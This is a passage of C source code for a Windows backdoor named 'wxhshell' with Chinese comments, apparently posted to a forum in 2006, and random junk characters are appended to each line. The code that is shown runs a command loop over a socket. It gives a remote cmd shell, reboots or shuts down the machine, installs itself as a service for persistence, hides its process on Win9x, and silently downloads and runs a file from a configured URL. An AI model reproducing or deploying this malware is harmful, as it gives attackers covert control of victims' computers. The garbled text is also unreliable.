    switch(cmd[0]) { [s2V-'2  
   c$|dK  
  // 帮助 }BrE|'.j'  
  case '?': { ,')bO*N g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S8RB0^Q7  
    break; 9gg,Dy  
  } w0!,1 Ry  
  // 安装 ]t3"0  
  case 'i': { 2~DPq p[  
    if(Install()) #U}U>4'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d/>,U7eS[+  
    else ?Q3~n^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $hQg+nY.  
    break; Snu;5:R  
    } sJ/e=1*  
  // 卸载 g8"7wf`0k  
  case 'r': { h12wk2@P/]  
    if(Uninstall()) U08?*{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i 8Xz  
    else ~a%hRJg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RKkI/Z0  
    break; yp^*TD/J  
    } `W n5 .V  
  // 显示 wxhshell 所在路径 B,833Azi  
  case 'p': { Zg&\K~OC  
    char svExeFile[MAX_PATH]; d 6EY'*0  
    strcpy(svExeFile,"\n\r"); QP%Fz#u`  
      strcat(svExeFile,ExeFile); ek)(pJ(+#  
        send(wsh,svExeFile,strlen(svExeFile),0); Wt fOE@h  
    break; jPNfLwVkl:  
    } Zbh]O CN  
  // 重启 8$kXC+  
  case 'b': { fNPj8\#V,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5ba[6\Af  
    if(Boot(REBOOT)) w WU_?Dr_~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); znO00qX  
    else { eF^"{a3b  
    closesocket(wsh); 0s""%MhFI  
    ExitThread(0); ';, Bn9rv  
    } {7>CA'>  
    break; Q;O)>K  
    } ~x"79=!W  
  // 关机 Rl4zTAI  
  case 'd': { c/Yi0Rl)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WnzPPh3PJ  
    if(Boot(SHUTDOWN)) JvL'gJ$70  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )K>@$6H +2  
    else { DS}rFU  
    closesocket(wsh); 5Y=\~,%\oH  
    ExitThread(0); t=rAc yNM  
    } U/!&KsnT  
    break; %*c|[7Z~V  
    } (iOCzZ6S  
  // 获取shell dMmka  
  case 's': { -Q PWi2:k  
    CmdShell(wsh); u7&'3ef  
    closesocket(wsh); aSkx#mV  
    ExitThread(0); cC^C7AAq^  
    break; ;kW}'&Ug  
  } F ssEs!#  
  // 退出 UX`DZb +^  
  case 'x': { #6s C&w3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *P R_Y=v%  
    CloseIt(wsh); .l=*R7~EU  
    break; S<!_ uq  
    } 4)+IO;  
  // 离开 a@y5JxFAy  
  case 'q': { +c8AbEewg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0nn]]B@l  
    closesocket(wsh); yCCw<?  
    WSACleanup(); TUUE(sLA  
    exit(1); .q`H`(QM  
    break; S?7V "LF  
        } C<t'f(4s`u  
  } -^4bA<dCCE  
  } nH>V Da  
uy _i{Y|  
  // 提示信息 &s^>S? L-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ogke*qM  
} %y\eBfW,/  
  } RC{Z)M{~  
aXbNDj ][  
  return; n_aNs]C9R  
} W0MnGzZ  
)d(0Y<e @  
// shell模块句柄 XyM(@6,'  
int CmdShell(SOCKET sock) d&T6p&V$  
{ =Xy`"i{`(  
STARTUPINFO si; Z1$];Q\cX  
ZeroMemory(&si,sizeof(si)); XMEK5Z9Dd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fb"J Bc}X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6~F#F)C'  
PROCESS_INFORMATION ProcessInfo; c Z6p^  
char cmdline[]="cmd"; P% +or*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wda\a.bXT  
  return 0; ,+/9K)X  
} [Ba2b: l6v  
W `u$7k]$  
// 自身启动模式  =Etwa  
int StartFromService(void) y,v0-o~q  
{ G?-`>N-u  
typedef struct Vv]$\`d#  
{ Q5y q"/=[a  
  DWORD ExitStatus; ";_K x={  
  DWORD PebBaseAddress; PG6L]o^  
  DWORD AffinityMask; 7mn,{2  
  DWORD BasePriority; 6<s(e_5f  
  ULONG UniqueProcessId; 7^I$%o1g  
  ULONG InheritedFromUniqueProcessId; jj3Pf>D+k  
}   PROCESS_BASIC_INFORMATION; Vo9>o@FlLM  
'EL ||  
PROCNTQSIP NtQueryInformationProcess; dF{6>8D=5B  
tCbr<Ug  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0ck&kpL:9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eMN+qkvH  
Wg` +u  
  HANDLE             hProcess; (3ZvXpzvF  
  PROCESS_BASIC_INFORMATION pbi; =s0g2Zv"\  
p fL2v,]g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $!F&>=o  
  if(NULL == hInst ) return 0; 7}d$*C  
E#<7\ p>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EvqUNnjR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 18.Y/nZAgQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f^!11/Wv  
Yz2{LW[K  
  if (!NtQueryInformationProcess) return 0; 2 {mY:\  
|I}A> XG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K5!";V  
  if(!hProcess) return 0; ]{|fYt_-  
+MNSZLP]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P?q G  
V;iL[  
  CloseHandle(hProcess); H}h~~7E  
0 OAqA?Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YER:ICQ  
if(hProcess==NULL) return 0; ZI58XS+  
DYo<5^0  
HMODULE hMod; _\,rX\  
char procName[255]; ^91sl5c8yD  
unsigned long cbNeeded; 5ys #L&q'Z  
wTTTrk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iN<(O7B;  
G-\<5]k]  
  CloseHandle(hProcess); [i(Cl}  
pXPqDA  
if(strstr(procName,"services")) return 1; // 以服务启动 s?^,iQ+tp  
S}.\v<  
  return 0; // 注册表启动 =$b-xsmeG  
} 09  
H\)gE>  
// 主模块 M5']sdR(l  
int StartWxhshell(LPSTR lpCmdLine) /rIm7FW)  
{ yy1>r }L  
  SOCKET wsl; =<[7J]%  
BOOL val=TRUE; t/JOERw  
  int port=0; fDU+3b  
  struct sockaddr_in door; cs K>iN  
ElQJ\%  
  if(wscfg.ws_autoins) Install(); M[h 1>}$Lz  
kF+ZW%6N  
port=atoi(lpCmdLine); <TI3@9\qXE  
99F>n[5  
if(port<=0) port=wscfg.ws_port; L"[IOV9S  
oy2(Ag\  
  WSADATA data; B;eW/#`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x 8 f6,  
RRx`}E9,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4-y6MH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C0\%QXu  
  door.sin_family = AF_INET; t-!Rgg$9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z,0O/RFJ.q  
  door.sin_port = htons(port); /K_ i8!y  
:~t<L%tYF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r~)VGdB+  
closesocket(wsl); UG6M9  
return 1; TkA9tFi  
} 7 ,$axvLw  
&nQRa?3,   
  if(listen(wsl,2) == INVALID_SOCKET) { mYjf5  
closesocket(wsl); 4$%`Qh>yA  
return 1; yrO?Np  
} Jf_]Z  
  Wxhshell(wsl); De;,=BSp  
  WSACleanup(); PPN q:,  
 \C|;F  
return 0; w3<Z?lj:  
dF$KrwDK  
} +d=~LQ}*  
2[.5oz`  
// 以NT服务方式启动 R @"`~#$$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >[K0=nA  
{ 9#u}^t  
DWORD   status = 0; {U(Bfe^a,  
  DWORD   specificError = 0xfffffff; w]n 4KR4  
]X*YAPv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9^oo-,Su_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y0;,dv]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /a%*u6z@  
  serviceStatus.dwWin32ExitCode     = 0; 9QX4R<"wUg  
  serviceStatus.dwServiceSpecificExitCode = 0; l#Yx TY  
  serviceStatus.dwCheckPoint       = 0; 7k>zuzRyF  
  serviceStatus.dwWaitHint       = 0; Q5g,7ac8L  
K~USK?Q%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CP +4k.)*O  
  if (hServiceStatusHandle==0) return; Wt(Kd5k0'2  
?;Un#6b  
status = GetLastError(); o5>/}wIf  
  if (status!=NO_ERROR) /n(9&'H<  
{ -=}b;Kf -  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rWJ*e Y  
    serviceStatus.dwCheckPoint       = 0; \kxh#{$z?  
    serviceStatus.dwWaitHint       = 0; TNx_Rc}  
    serviceStatus.dwWin32ExitCode     = status; \F[n`C"Is  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?k"0w)8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 xUE,)?  
    return; 02,W~+d1  
  } &uPDZ#C-  
dnix:'D1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t{~@I  
  serviceStatus.dwCheckPoint       = 0; 9MT3T?IS  
  serviceStatus.dwWaitHint       = 0; 3#9uEDdE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #7+]%;h  
} ^=k {~  
A&NqQ V,  
// 处理NT服务事件,比如:启动、停止 >ZX|4U[$P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jSB'>m]  
{ 1ADv?+j)A/  
switch(fdwControl) ;:U<ce=  
{ O'OFz}x),  
case SERVICE_CONTROL_STOP: A9t8`|1"%H  
  serviceStatus.dwWin32ExitCode = 0; M</Wd{.g"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p/N62G  
  serviceStatus.dwCheckPoint   = 0; x=h0Fq ,T  
  serviceStatus.dwWaitHint     = 0; 4HW;  
  { )XpV u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b9y)wBC%`  
  } G,B?&gFX  
  return; r4EoJyt  
case SERVICE_CONTROL_PAUSE: KhrFg1|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *(icR  
  break; Z&A0hI4d  
case SERVICE_CONTROL_CONTINUE: >zFD $  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B_cgWJ*4  
  break; :Z[(A"dA  
case SERVICE_CONTROL_INTERROGATE: a/ b92*&k  
  break; kB V/rw  
}; >{b3>s~T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uh}+"h5  
} nW11wtiO.  
g**5z'7  
// 标准应用程序主函数 3 tF:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vnL?O8`c  
{ JxHv<p[  
T!(sZf  
// 获取操作系统版本 TywK\hH  
OsIsNt=GetOsVer(); [ T-*/}4$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?]5Ix1  
^( DL+r,  
  // 从命令行安装 J B(<.E 2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5~QT g  
$7Cgo&J  
  // 下载执行文件 {U^j&E  
if(wscfg.ws_downexe) { oJh"@6u6K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TVYz3~m  
  WinExec(wscfg.ws_filenam,SW_HIDE); *y?[ <2"$  
} L/%Y#  
I )5<DZB9  
if(!OsIsNt) { V,m3-=q  
// 如果时win9x,隐藏进程并且设置为注册表启动 K_Re}\D  
HideProc(); q=+ wI"[  
StartWxhshell(lpCmdLine); .'&V#D0  
} "Vx6 #u@}  
else ~TM>"eBb  
  if(StartFromService()) -zdmr"CA  
  // 以服务方式启动 PV(4$I}  
  StartServiceCtrlDispatcher(DispatchTable); 5/,Qz>QE[  
else _-RyHgX  
  // 普通方式启动 8RU.}PD  
  StartWxhshell(lpCmdLine); =gs~\q  
bM^7g  
return 0; ~3d*b8  
}
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只看该作者 1 发表于: 2006-10-10
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